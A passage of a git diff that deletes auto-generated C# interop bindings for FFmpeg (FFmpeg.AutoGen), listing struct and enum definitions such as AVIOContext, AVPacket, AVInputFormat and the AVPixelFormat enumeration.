deleted file mode 100644 index dc7a611..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFrameSideData.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVFrameSideData -{ - public AVFrameSideDataType type; - - public unsafe sbyte* data; - - public int size; - - public unsafe AVDictionary* metadata; - - public unsafe AVBufferRef* buf; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFrameSideDataType.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFrameSideDataType.cs deleted file mode 100644 index ca1b308..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFrameSideDataType.cs +++ /dev/null @@ -1,18 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVFrameSideDataType -{ - AV_FRAME_DATA_PANSCAN, - AV_FRAME_DATA_A53_CC, - AV_FRAME_DATA_STEREO3D, - AV_FRAME_DATA_MATRIXENCODING, - AV_FRAME_DATA_DOWNMIX_INFO, - AV_FRAME_DATA_REPLAYGAIN, - AV_FRAME_DATA_DISPLAYMATRIX, - AV_FRAME_DATA_AFD, - AV_FRAME_DATA_MOTION_VECTORS, - AV_FRAME_DATA_SKIP_SAMPLES, - AV_FRAME_DATA_AUDIO_SERVICE_TYPE, - AV_FRAME_DATA_MASTERING_DISPLAY_METADATA, - AV_FRAME_DATA_GOP_TIMECODE -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVHWAccel.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVHWAccel.cs deleted file mode 100644 index 9980303..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVHWAccel.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System; - -namespace FFmpeg.AutoGen; - -public struct AVHWAccel -{ - public unsafe sbyte* name; - - public AVMediaType type; - - public AVCodecID id; - - public AVPixelFormat pix_fmt; - - public int capabilities; - - public unsafe AVHWAccel* next; - - public IntPtr alloc_frame; - - public IntPtr start_frame; - - public IntPtr decode_slice; - - public IntPtr end_frame; - - public int frame_priv_data_size; - - public IntPtr decode_mb; - - public IntPtr init; - - public IntPtr uninit; - - public int priv_data_size; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVIOContext.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVIOContext.cs deleted file mode 100644 index 1ccf328..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVIOContext.cs +++ /dev/null @@ -1,64 +0,0 @@ -using System; - -namespace FFmpeg.AutoGen; - -public struct AVIOContext -{ - public unsafe AVClass* av_class; - - public unsafe sbyte* buffer; - - public int buffer_size; - - public unsafe sbyte* buf_ptr; - - public unsafe sbyte* buf_end; - - public unsafe void* opaque; - - public IntPtr read_packet; - - public IntPtr write_packet; - - public IntPtr seek; - - public long pos; - - public int must_flush; - - public int eof_reached; - - public int write_flag; - - public int max_packet_size; - - public int checksum; - - public unsafe sbyte* checksum_ptr; - - public IntPtr update_checksum; - - public int error; - - public IntPtr read_pause; - - public IntPtr read_seek; - - public int seekable; - - public long maxsize; - - public int direct; - - public long bytes_read; - - public int seek_count; - - public int writeout_count; - - public int orig_buffer_size; - - public int short_seek_threshold; - - public unsafe sbyte* protocol_whitelist; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVIODirContext.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVIODirContext.cs deleted file mode 100644 index 8171e5e..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVIODirContext.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVIODirContext -{ - public unsafe URLContext* url_context; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVIODirEntry.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVIODirEntry.cs deleted file mode 100644 index fb0233f..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVIODirEntry.cs +++ /dev/null @@ -1,24 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVIODirEntry -{ - public unsafe sbyte* name; - - public int type; - - public int utf8; - - public long size; - - public long modification_timestamp; - - public long access_timestamp; - - public long status_change_timestamp; - - public long user_id; - - public long group_id; - - public long filemode; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVIODirEntryType.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVIODirEntryType.cs deleted file mode 100644 index 9b9c724..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVIODirEntryType.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVIODirEntryType -{ - AVIO_ENTRY_UNKNOWN, - AVIO_ENTRY_BLOCK_DEVICE, - AVIO_ENTRY_CHARACTER_DEVICE, - AVIO_ENTRY_DIRECTORY, - AVIO_ENTRY_NAMED_PIPE, - AVIO_ENTRY_SYMBOLIC_LINK, - AVIO_ENTRY_SOCKET, - AVIO_ENTRY_FILE, - AVIO_ENTRY_SERVER, - AVIO_ENTRY_SHARE, - AVIO_ENTRY_WORKGROUP -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVIOInterruptCB.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVIOInterruptCB.cs deleted file mode 100644 index 9aa2089..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVIOInterruptCB.cs +++ /dev/null @@ -1,10 +0,0 @@ -using System; - -namespace FFmpeg.AutoGen; - -public struct AVIOInterruptCB -{ - public IntPtr callback; - - public unsafe void* opaque; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVIndexEntry.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVIndexEntry.cs deleted file mode 100644 index 48d2d68..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVIndexEntry.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVIndexEntry -{ - public long pos; - - public long timestamp; - - public int flags; - - public int size; - - public int min_distance; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVInputFormat.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVInputFormat.cs deleted file mode 100644 index 7128121..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVInputFormat.cs +++ /dev/null @@ -1,50 +0,0 @@ -using System; - -namespace FFmpeg.AutoGen; - -public struct AVInputFormat -{ - public unsafe sbyte* name; - - public unsafe sbyte* long_name; - - public int flags; - - public unsafe sbyte* extensions; - - public unsafe AVCodecTag** codec_tag; - - public unsafe AVClass* priv_class; - - public unsafe sbyte* mime_type; - - public unsafe AVInputFormat* next; - - public int raw_codec_id; - - public int priv_data_size; - - public IntPtr read_probe; - - public IntPtr read_header; - - public IntPtr read_packet; - - public IntPtr read_close; - - public IntPtr read_seek; - - public IntPtr read_timestamp; - - public IntPtr read_play; - - public IntPtr read_pause; - - public IntPtr read_seek2; - - public IntPtr get_device_list; - - public IntPtr create_device_capabilities; - - public IntPtr free_device_capabilities; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVLockOp.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVLockOp.cs deleted file mode 100644 index 1830b74..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVLockOp.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVLockOp -{ - AV_LOCK_CREATE, - AV_LOCK_OBTAIN, - AV_LOCK_RELEASE, - AV_LOCK_DESTROY -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVMatrixEncoding.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVMatrixEncoding.cs deleted file mode 100644 index 7194490..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVMatrixEncoding.cs +++ /dev/null @@ -1,13 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVMatrixEncoding -{ - AV_MATRIX_ENCODING_NONE, - AV_MATRIX_ENCODING_DOLBY, - AV_MATRIX_ENCODING_DPLII, - AV_MATRIX_ENCODING_DPLIIX, - AV_MATRIX_ENCODING_DPLIIZ, - AV_MATRIX_ENCODING_DOLBYEX, - AV_MATRIX_ENCODING_DOLBYHEADPHONE, - AV_MATRIX_ENCODING_NB -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVMediaType.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVMediaType.cs deleted file mode 100644 index cc6658f..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVMediaType.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVMediaType -{ - AVMEDIA_TYPE_UNKNOWN = -1, - AVMEDIA_TYPE_VIDEO, - AVMEDIA_TYPE_AUDIO, - AVMEDIA_TYPE_DATA, - AVMEDIA_TYPE_SUBTITLE, - AVMEDIA_TYPE_ATTACHMENT, - AVMEDIA_TYPE_NB -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVOpenCallback.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVOpenCallback.cs deleted file mode 100644 index a19f69e..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVOpenCallback.cs +++ /dev/null @@ -1,6 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[UnmanagedFunctionPointer(CallingConvention.Cdecl)] -public unsafe delegate int AVOpenCallback(AVFormatContext* s, AVIOContext** pb, [MarshalAs(UnmanagedType.LPStr)] string url, int flags, AVIOInterruptCB* int_cb, AVDictionary** options); diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVOption.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVOption.cs deleted file mode 100644 index 4cff453..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVOption.cs +++ /dev/null @@ -1,22 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVOption -{ - public unsafe sbyte* name; - - public unsafe sbyte* help; - - public int offset; - - public AVOptionType type; - - public default_val default_val; - - public double min; - - public double max; - - public int flags; - - public unsafe sbyte* unit; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVOptionRange.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVOptionRange.cs deleted file mode 100644 index 26fb619..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVOptionRange.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVOptionRange -{ - public unsafe sbyte* str; - - public double value_min; - - public double value_max; - - public double component_min; - - public double component_max; - - public int is_range; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVOptionRanges.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVOptionRanges.cs deleted file mode 100644 index 32092da..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVOptionRanges.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVOptionRanges -{ - public unsafe AVOptionRange** range; - - public int nb_ranges; - - public int nb_components; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVOptionType.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVOptionType.cs deleted file mode 100644 index 49d71e8..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVOptionType.cs +++ /dev/null @@ -1,23 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVOptionType -{ - AV_OPT_TYPE_FLAGS = 0, - AV_OPT_TYPE_INT = 1, - AV_OPT_TYPE_INT64 = 2, - AV_OPT_TYPE_DOUBLE = 3, - AV_OPT_TYPE_FLOAT = 4, - AV_OPT_TYPE_STRING = 5, - AV_OPT_TYPE_RATIONAL = 6, - AV_OPT_TYPE_BINARY = 7, - AV_OPT_TYPE_DICT = 8, - AV_OPT_TYPE_CONST = 128, - AV_OPT_TYPE_IMAGE_SIZE = 1397316165, - AV_OPT_TYPE_PIXEL_FMT = 1346784596, - AV_OPT_TYPE_SAMPLE_FMT = 1397116244, - AV_OPT_TYPE_VIDEO_RATE = 1448231252, - AV_OPT_TYPE_DURATION = 1146442272, - AV_OPT_TYPE_COLOR = 1129270354, - AV_OPT_TYPE_CHANNEL_LAYOUT = 1128811585, - AV_OPT_TYPE_BOOL = 1112493900 -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVOutputFormat.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVOutputFormat.cs deleted file mode 100644 index 5ee70b3..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVOutputFormat.cs +++ /dev/null @@ -1,60 +0,0 @@ -using System; - -namespace FFmpeg.AutoGen; - -public struct AVOutputFormat -{ - public unsafe sbyte* name; - - public unsafe sbyte* long_name; - - public unsafe sbyte* mime_type; - - public unsafe sbyte* extensions; - - public AVCodecID audio_codec; - - public AVCodecID video_codec; - - public AVCodecID subtitle_codec; - - public int flags; - - public unsafe AVCodecTag** codec_tag; - - public unsafe AVClass* priv_class; - - public unsafe AVOutputFormat* next; - - public int priv_data_size; - - public IntPtr write_header; - - public IntPtr write_packet; - - public IntPtr write_trailer; - - public IntPtr interleave_packet; - - public IntPtr query_codec; - - public IntPtr get_output_timestamp; - - public IntPtr control_message; - - public IntPtr write_uncoded_frame; - - public IntPtr get_device_list; - - public IntPtr create_device_capabilities; - - public IntPtr free_device_capabilities; - - public AVCodecID data_codec; - - public IntPtr init; - - public IntPtr deinit; - - public IntPtr check_bitstream; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPacket.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPacket.cs deleted file mode 100644 index 3f4dc76..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPacket.cs +++ /dev/null @@ -1,28 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVPacket -{ - public unsafe AVBufferRef* buf; - - public long pts; - - public long dts; - - public unsafe sbyte* data; - - public int size; - - public int stream_index; - - public int flags; - - public unsafe AVPacketSideData* side_data; - - public int side_data_elems; - - public long duration; - - public long pos; - - public long convergence_duration; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPacketList.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPacketList.cs deleted file mode 100644 index 74f95f3..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPacketList.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVPacketList -{ - public AVPacket pkt; - - public unsafe AVPacketList* next; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPacketSideData.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPacketSideData.cs deleted file mode 100644 index 8117969..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPacketSideData.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVPacketSideData -{ - public unsafe sbyte* data; - - public int size; - - public AVPacketSideDataType type; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPacketSideDataType.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPacketSideDataType.cs deleted file mode 100644 index ac78233..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPacketSideDataType.cs +++ /dev/null @@ -1,24 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVPacketSideDataType -{ - AV_PKT_DATA_PALETTE = 0, - AV_PKT_DATA_NEW_EXTRADATA = 1, - AV_PKT_DATA_PARAM_CHANGE = 2, - AV_PKT_DATA_H263_MB_INFO = 3, - AV_PKT_DATA_REPLAYGAIN = 4, - AV_PKT_DATA_DISPLAYMATRIX = 5, - AV_PKT_DATA_STEREO3D = 6, - AV_PKT_DATA_AUDIO_SERVICE_TYPE = 7, - AV_PKT_DATA_QUALITY_STATS = 8, - AV_PKT_DATA_FALLBACK_TRACK = 9, - AV_PKT_DATA_CPB_PROPERTIES = 10, - AV_PKT_DATA_SKIP_SAMPLES = 70, - AV_PKT_DATA_JP_DUALMONO = 71, - AV_PKT_DATA_STRINGS_METADATA = 72, - AV_PKT_DATA_SUBTITLE_POSITION = 73, - AV_PKT_DATA_MATROSKA_BLOCKADDITIONAL = 74, - AV_PKT_DATA_WEBVTT_IDENTIFIER = 75, - AV_PKT_DATA_WEBVTT_SETTINGS = 76, - AV_PKT_DATA_METADATA_UPDATE = 77 -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPanScan.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPanScan.cs deleted file mode 100644 index 3834106..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPanScan.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVPanScan -{ - public int id; - - public int width; - - public int height; - - public unsafe fixed short position0[2]; - - public unsafe fixed short position1[2]; - - public unsafe fixed short position2[2]; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPicture.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPicture.cs deleted file mode 100644 index b0548fe..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPicture.cs +++ /dev/null @@ -1,22 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVPicture -{ - public unsafe sbyte* data0; - - public unsafe sbyte* data1; - - public unsafe sbyte* data2; - - public unsafe sbyte* data3; - - public unsafe sbyte* data4; - - public unsafe sbyte* data5; - - public unsafe sbyte* data6; - - public unsafe sbyte* data7; - - public unsafe fixed int linesize[8]; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPictureStructure.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPictureStructure.cs deleted file mode 100644 index df185ce..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPictureStructure.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVPictureStructure -{ - AV_PICTURE_STRUCTURE_UNKNOWN, - AV_PICTURE_STRUCTURE_TOP_FIELD, - AV_PICTURE_STRUCTURE_BOTTOM_FIELD, - AV_PICTURE_STRUCTURE_FRAME -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPictureType.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPictureType.cs deleted file mode 100644 index acb7da3..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPictureType.cs +++ /dev/null @@ -1,13 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVPictureType -{ - AV_PICTURE_TYPE_NONE, - AV_PICTURE_TYPE_I, - AV_PICTURE_TYPE_P, - AV_PICTURE_TYPE_B, - AV_PICTURE_TYPE_S, - AV_PICTURE_TYPE_SI, - AV_PICTURE_TYPE_SP, - AV_PICTURE_TYPE_BI -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPixFmtDescriptor.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPixFmtDescriptor.cs deleted file mode 100644 index 74d3ec1..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPixFmtDescriptor.cs +++ /dev/null @@ -1,24 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVPixFmtDescriptor -{ - public unsafe sbyte* name; - - public sbyte nb_components; - - public sbyte log2_chroma_w; - - public sbyte log2_chroma_h; - - public ulong flags; - - public AVComponentDescriptor comp0; - - public AVComponentDescriptor comp1; - - public AVComponentDescriptor comp2; - - public AVComponentDescriptor comp3; - - public unsafe sbyte* alias; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPixelFormat.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPixelFormat.cs deleted file mode 100644 index e1e5791..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVPixelFormat.cs +++ /dev/null @@ -1,181 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVPixelFormat -{ - AV_PIX_FMT_NONE = -1, - AV_PIX_FMT_YUV420P = 0, - AV_PIX_FMT_YUYV422 = 1, - AV_PIX_FMT_RGB24 = 2, - AV_PIX_FMT_BGR24 = 3, - AV_PIX_FMT_YUV422P = 4, - AV_PIX_FMT_YUV444P = 5, - AV_PIX_FMT_YUV410P = 6, - AV_PIX_FMT_YUV411P = 7, - AV_PIX_FMT_GRAY8 = 8, - AV_PIX_FMT_MONOWHITE = 9, - AV_PIX_FMT_MONOBLACK = 10, - AV_PIX_FMT_PAL8 = 11, - AV_PIX_FMT_YUVJ420P = 12, - AV_PIX_FMT_YUVJ422P = 13, - AV_PIX_FMT_YUVJ444P = 14, - AV_PIX_FMT_XVMC_MPEG2_MC = 15, - AV_PIX_FMT_XVMC_MPEG2_IDCT = 16, - AV_PIX_FMT_UYVY422 = 17, - AV_PIX_FMT_UYYVYY411 = 18, - AV_PIX_FMT_BGR8 = 19, - AV_PIX_FMT_BGR4 = 20, - AV_PIX_FMT_BGR4_BYTE = 21, - AV_PIX_FMT_RGB8 = 22, - AV_PIX_FMT_RGB4 = 23, - AV_PIX_FMT_RGB4_BYTE = 24, - AV_PIX_FMT_NV12 = 25, - AV_PIX_FMT_NV21 = 26, - AV_PIX_FMT_ARGB = 27, - AV_PIX_FMT_RGBA = 28, - AV_PIX_FMT_ABGR = 29, - AV_PIX_FMT_BGRA = 30, - AV_PIX_FMT_GRAY16BE = 31, - AV_PIX_FMT_GRAY16LE = 32, - AV_PIX_FMT_YUV440P = 33, - AV_PIX_FMT_YUVJ440P = 34, - AV_PIX_FMT_YUVA420P = 35, - AV_PIX_FMT_VDPAU_H264 = 36, - AV_PIX_FMT_VDPAU_MPEG1 = 37, - AV_PIX_FMT_VDPAU_MPEG2 = 38, - AV_PIX_FMT_VDPAU_WMV3 = 39, - AV_PIX_FMT_VDPAU_VC1 = 40, - AV_PIX_FMT_RGB48BE = 41, - AV_PIX_FMT_RGB48LE = 42, - AV_PIX_FMT_RGB565BE = 43, - AV_PIX_FMT_RGB565LE = 44, - AV_PIX_FMT_RGB555BE = 45, - AV_PIX_FMT_RGB555LE = 46, - AV_PIX_FMT_BGR565BE = 47, - AV_PIX_FMT_BGR565LE = 48, - AV_PIX_FMT_BGR555BE = 49, - AV_PIX_FMT_BGR555LE = 50, - AV_PIX_FMT_VAAPI_MOCO = 51, - AV_PIX_FMT_VAAPI_IDCT = 52, - AV_PIX_FMT_VAAPI_VLD = 53, - AV_PIX_FMT_VAAPI = 53, - AV_PIX_FMT_YUV420P16LE = 54, - AV_PIX_FMT_YUV420P16BE = 55, - AV_PIX_FMT_YUV422P16LE = 56, - AV_PIX_FMT_YUV422P16BE = 57, - AV_PIX_FMT_YUV444P16LE = 58, - AV_PIX_FMT_YUV444P16BE = 59, - AV_PIX_FMT_VDPAU_MPEG4 = 60, - AV_PIX_FMT_DXVA2_VLD = 61, - AV_PIX_FMT_RGB444LE = 62, - AV_PIX_FMT_RGB444BE = 63, - AV_PIX_FMT_BGR444LE = 64, - AV_PIX_FMT_BGR444BE = 65, - AV_PIX_FMT_YA8 = 66, - AV_PIX_FMT_Y400A = 66, - AV_PIX_FMT_GRAY8A = 66, - AV_PIX_FMT_BGR48BE = 67, - AV_PIX_FMT_BGR48LE = 68, - AV_PIX_FMT_YUV420P9BE = 69, - AV_PIX_FMT_YUV420P9LE = 70, - AV_PIX_FMT_YUV420P10BE = 71, - AV_PIX_FMT_YUV420P10LE = 72, - AV_PIX_FMT_YUV422P10BE = 73, - AV_PIX_FMT_YUV422P10LE = 74, - AV_PIX_FMT_YUV444P9BE = 75, - AV_PIX_FMT_YUV444P9LE = 76, - AV_PIX_FMT_YUV444P10BE = 77, - AV_PIX_FMT_YUV444P10LE = 78, - AV_PIX_FMT_YUV422P9BE = 79, - AV_PIX_FMT_YUV422P9LE = 80, - AV_PIX_FMT_VDA_VLD = 81, - AV_PIX_FMT_GBRP = 82, - AV_PIX_FMT_GBRP9BE = 83, - AV_PIX_FMT_GBRP9LE = 84, - AV_PIX_FMT_GBRP10BE = 85, - AV_PIX_FMT_GBRP10LE = 86, - AV_PIX_FMT_GBRP16BE = 87, - AV_PIX_FMT_GBRP16LE = 88, - AV_PIX_FMT_YUVA422P = 89, - AV_PIX_FMT_YUVA444P = 90, - AV_PIX_FMT_YUVA420P9BE = 91, - AV_PIX_FMT_YUVA420P9LE = 92, - AV_PIX_FMT_YUVA422P9BE = 93, - AV_PIX_FMT_YUVA422P9LE = 94, - AV_PIX_FMT_YUVA444P9BE = 95, - AV_PIX_FMT_YUVA444P9LE = 96, - AV_PIX_FMT_YUVA420P10BE = 97, - AV_PIX_FMT_YUVA420P10LE = 98, - AV_PIX_FMT_YUVA422P10BE = 99, - AV_PIX_FMT_YUVA422P10LE = 100, - AV_PIX_FMT_YUVA444P10BE = 101, - AV_PIX_FMT_YUVA444P10LE = 102, - AV_PIX_FMT_YUVA420P16BE = 103, - AV_PIX_FMT_YUVA420P16LE = 104, - AV_PIX_FMT_YUVA422P16BE = 105, - AV_PIX_FMT_YUVA422P16LE = 106, - AV_PIX_FMT_YUVA444P16BE = 107, - AV_PIX_FMT_YUVA444P16LE = 108, - AV_PIX_FMT_VDPAU = 109, - AV_PIX_FMT_XYZ12LE = 110, - AV_PIX_FMT_XYZ12BE = 111, - AV_PIX_FMT_NV16 = 112, - AV_PIX_FMT_NV20LE = 113, - AV_PIX_FMT_NV20BE = 114, - AV_PIX_FMT_RGBA64BE = 115, - AV_PIX_FMT_RGBA64LE = 116, - AV_PIX_FMT_BGRA64BE = 117, - AV_PIX_FMT_BGRA64LE = 118, - AV_PIX_FMT_YVYU422 = 119, - AV_PIX_FMT_VDA = 120, - AV_PIX_FMT_YA16BE = 121, - AV_PIX_FMT_YA16LE = 122, - AV_PIX_FMT_GBRAP = 123, - AV_PIX_FMT_GBRAP16BE = 124, - AV_PIX_FMT_GBRAP16LE = 125, - AV_PIX_FMT_QSV = 126, - AV_PIX_FMT_MMAL = 127, - AV_PIX_FMT_D3D11VA_VLD = 128, - AV_PIX_FMT_0RGB = 295, - AV_PIX_FMT_RGB0 = 296, - AV_PIX_FMT_0BGR = 297, - AV_PIX_FMT_BGR0 = 298, - AV_PIX_FMT_YUV420P12BE = 299, - AV_PIX_FMT_YUV420P12LE = 300, - AV_PIX_FMT_YUV420P14BE = 301, - AV_PIX_FMT_YUV420P14LE = 302, - AV_PIX_FMT_YUV422P12BE = 303, - AV_PIX_FMT_YUV422P12LE = 304, - AV_PIX_FMT_YUV422P14BE = 305, - AV_PIX_FMT_YUV422P14LE = 306, - AV_PIX_FMT_YUV444P12BE = 307, - AV_PIX_FMT_YUV444P12LE = 308, - AV_PIX_FMT_YUV444P14BE = 309, - AV_PIX_FMT_YUV444P14LE = 310, - AV_PIX_FMT_GBRP12BE = 311, - AV_PIX_FMT_GBRP12LE = 312, - AV_PIX_FMT_GBRP14BE = 313, - AV_PIX_FMT_GBRP14LE = 314, - AV_PIX_FMT_YUVJ411P = 315, - AV_PIX_FMT_BAYER_BGGR8 = 316, - AV_PIX_FMT_BAYER_RGGB8 = 317, - AV_PIX_FMT_BAYER_GBRG8 = 318, - AV_PIX_FMT_BAYER_GRBG8 = 319, - AV_PIX_FMT_BAYER_BGGR16LE = 320, - AV_PIX_FMT_BAYER_BGGR16BE = 321, - AV_PIX_FMT_BAYER_RGGB16LE = 322, - AV_PIX_FMT_BAYER_RGGB16BE = 323, - AV_PIX_FMT_BAYER_GBRG16LE = 324, - AV_PIX_FMT_BAYER_GBRG16BE = 325, - AV_PIX_FMT_BAYER_GRBG16LE = 326, - AV_PIX_FMT_BAYER_GRBG16BE = 327, - AV_PIX_FMT_YUV440P10LE = 328, - AV_PIX_FMT_YUV440P10BE = 329, - AV_PIX_FMT_YUV440P12LE = 330, - AV_PIX_FMT_YUV440P12BE = 331, - AV_PIX_FMT_AYUV64LE = 332, - AV_PIX_FMT_AYUV64BE = 333, - AV_PIX_FMT_VIDEOTOOLBOX = 334, - AV_PIX_FMT_P010LE = 335, - AV_PIX_FMT_P010BE = 336, - AV_PIX_FMT_NB = 337 -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVProbeData.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVProbeData.cs deleted 